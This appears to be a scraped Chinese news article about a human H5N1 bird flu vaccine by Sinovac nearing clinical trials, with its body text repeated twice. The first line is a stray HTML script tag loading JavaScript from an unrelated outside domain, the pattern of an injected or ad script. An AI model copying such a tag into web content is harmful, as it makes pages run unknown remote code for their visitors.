<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> 本报记者马晓华发自北京
我国“人用禽流感疫苗研制”项目已于14日下午通过科技部课题验收，即将开始临床试验，预计1~2年后可投入使用。
疫苗研制单位北京科兴生物制品有限公司（下称“科兴公司”）告诉《第一财经日报》：他们已与中国疾病预防控制中心一起向国家食品药品监督管理局提交了临床研究申请。由于疫苗的效力试验还没有完成，疫苗鉴定结果大概要到11月底才能出来。至于国家食品药品监督管理局什么时候能给予审批“还是一个未知数”，况且临床试验还需要1~2年的时间。
等待鉴定结果
科兴公司与中国疾病预防控制中心10月21日就提交了临床研究申请。科兴公司新闻处一位工作人员告诉记者，中国药品生物制品检定所已经于10月27日完成了疫苗用毒株的检测，并发出检定合格报告。10月26日临床研究用疫苗经北京市药品监督管理局抽检后送检中国药品生物制品检定所鉴定。
该工作人员表示，中国药品生物制品鉴定所10月27日就给了毒株合格的鉴定结果。“同一天，我们把疫苗交给了他们，大约28天后会有鉴定结果出来,然后我们再把这两个结果拿到国家食品药品监督管理局，进行最后的审批并进行临床试验。”
科兴公司“人用禽流感疫苗研制”项目启动于2004年，为国家“十五”科技攻关项目，由科兴公司与中国疾病预防与控制中心合作承担。
2004年4月，科兴公司从英国国家生物制品标准化研究所（NIBSC）得到这个H5N1疫苗原型株（NIBRG-14）。NIBSC是世界卫生组织（WHO）的国际生物制品标准化试验室。
上述工作人员表示，尽管科兴公司没有P3实验室，还不能进行高致病性病毒的研究，但WHO提供的是一种减毒后的毒 株，可以在二级实验室进行试验。
五部门联手“作战”
据科兴公司介绍，人用禽流感疫苗研制项目能进展到这个程度，是五部门联手“作战”的结果。
据了解，该项目列入国家“十五”科技攻关计划后，科技部随即给予资金支持。卫生部作为项目组织单位，向课题组签发了允许向WHO标准化实验室NIBSC引进疫苗用毒株的批件，并先后两次组织相关部委及专家听取课题组的项目进展汇报会，对项目研究给予及时指导和协调。
国家食品药品监督管理局作为疫苗的评审部门，就人用禽流感疫苗召开新药申请特别审批程序研讨会，启动快速审批通道。同时组织专家举行新疫苗研发早期介入会，听取人用禽流感疫苗的临床前研究和临床方案。
中国疾病预防控制中心在这次项目中对未来流感疫情进行了监测，并参与人用禽流感疫苗研发、生产技术路线的设计。同时对疫苗的使用范围、疫苗储备以及疫苗效果考核提出技术指导和要求。
随时可以投产
目前，科兴公司已经完成疫苗工艺研究，建立了相关质控标准，并完成中试生产，具备了疫苗产品储备的技术条件。
科兴公司建设的季节性流感疫苗的生产基地已通过GMP认证。科兴公司表示，如果流感大流行突然暴发，在国家批准的前提下，该生产线可以立即投入人用禽流感疫苗的生产。
不过，卫生部一位著名专家表示，即使疫苗的临床试验结果合格了，但“中国现在有13亿多的人口，需要疫苗的量非常大，就科兴而言，即使开足马力一年的生产量也就是1000万支，这跟需求还有很大的差距。”
“我们现在甲、乙肝疫苗的生产最大是800万支。如果可能的话，我们再扩大生产。”科兴公司的工作人员说。他还告诉记者，人用禽流感疫苗的生产与检定周期约六个月，因此应提早储备疫苗原液，一旦临床研究证实了疫苗的安全性，并确立了有效的使用剂量和免疫程序，即可分装疫苗，在关键人群，尤其是参与疫区防控处理的公务人员以及高危人群，如家禽养殖人员、医护人员等人群中使用。
上述卫生部专家还表达了自己的另一个忧虑：禽流感病毒是否变异。“2005年的禽流感病毒已经变异了，经实验室检测，要比去年的禽流感病毒厉害得多，但是用来做人类禽流感疫苗的毒株还是2004年的,如果拿到2006年甚至2007年去用的话，作用谁也不敢肯定。”
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我国“人用禽流感疫苗研制”项目已于14日下午通过科技部课题验收，即将开始临床试验，预计1~2年后可投入使用。
疫苗研制单位北京科兴生物制品有限公司（下称“科兴公司”）告诉《第一财经日报》：他们已与中国疾病预防控制中心一起向国家食品药品监督管理局提交了临床研究申请。由于疫苗的效力试验还没有完成，疫苗鉴定结果大概要到11月底才能出来。至于国家食品药品监督管理局什么时候能给予审批“还是一个未知数”，况且临床试验还需要1~2年的时间。
等待鉴定结果
科兴公司与中国疾病预防控制中心10月21日就提交了临床研究申请。科兴公司新闻处一位工作人员告诉记者，中国药品生物制品检定所已经于10月27日完成了疫苗用毒株的检测，并发出检定合格报告。10月26日临床研究用疫苗经北京市药品监督管理局抽检后送检中国药品生物制品检定所鉴定。
该工作人员表示，中国药品生物制品鉴定所10月27日就给了毒株合格的鉴定结果。“同一天，我们把疫苗交给了他们，大约28天后会有鉴定结果出来,然后我们再把这两个结果拿到国家食品药品监督管理局，进行最后的审批并进行临床试验。”
科兴公司“人用禽流感疫苗研制”项目启动于2004年，为国家“十五”科技攻关项目，由科兴公司与中国疾病预防与控制中心合作承担。
2004年4月，科兴公司从英国国家生物制品标准化研究所（NIBSC）得到这个H5N1疫苗原型株（NIBRG-14）。NIBSC是世界卫生组织（WHO）的国际生物制品标准化试验室。
上述工作人员表示，尽管科兴公司没有P3实验室，还不能进行高致病性病毒的研究，但WHO提供的是一种减毒后的毒 株，可以在二级实验室进行试验。
五部门联手“作战”
据科兴公司介绍，人用禽流感疫苗研制项目能进展到这个程度，是五部门联手“作战”的结果。
据了解，该项目列入国家“十五”科技攻关计划后，科技部随即给予资金支持。卫生部作为项目组织单位，向课题组签发了允许向WHO标准化实验室NIBSC引进疫苗用毒株的批件，并先后两次组织相关部委及专家听取课题组的项目进展汇报会，对项目研究给予及时指导和协调。
国家食品药品监督管理局作为疫苗的评审部门，就人用禽流感疫苗召开新药申请特别审批程序研讨会，启动快速审批通道。同时组织专家举行新疫苗研发早期介入会，听取人用禽流感疫苗的临床前研究和临床方案。
中国疾病预防控制中心在这次项目中对未来流感疫情进行了监测，并参与人用禽流感疫苗研发、生产技术路线的设计。同时对疫苗的使用范围、疫苗储备以及疫苗效果考核提出技术指导和要求。
随时可以投产
目前，科兴公司已经完成疫苗工艺研究，建立了相关质控标准，并完成中试生产，具备了疫苗产品储备的技术条件。
科兴公司建设的季节性流感疫苗的生产基地已通过GMP认证。科兴公司表示，如果流感大流行突然暴发，在国家批准的前提下，该生产线可以立即投入人用禽流感疫苗的生产。
不过，卫生部一位著名专家表示，即使疫苗的临床试验结果合格了，但“中国现在有13亿多的人口，需要疫苗的量非常大，就科兴而言，即使开足马力一年的生产量也就是1000万支，这跟需求还有很大的差距。”
“我们现在甲、乙肝疫苗的生产最大是800万支。如果可能的话，我们再扩大生产。”科兴公司的工作人员说。他还告诉记者，人用禽流感疫苗的生产与检定周期约六个月，因此应提早储备疫苗原液，一旦临床研究证实了疫苗的安全性，并确立了有效的使用剂量和免疫程序，即可分装疫苗，在关键人群，尤其是参与疫区防控处理的公务人员以及高危人群，如家禽养殖人员、医护人员等人群中使用。
上述卫生部专家还表达了自己的另一个忧虑：禽流感病毒是否变异。“2005年的禽流感病毒已经变异了，经实验室检测，要比去年的禽流感病毒厉害得多，但是用来做人类禽流感疫苗的毒株还是2004年的,如果拿到2006年甚至2007年去用的话，作用谁也不敢肯定。”
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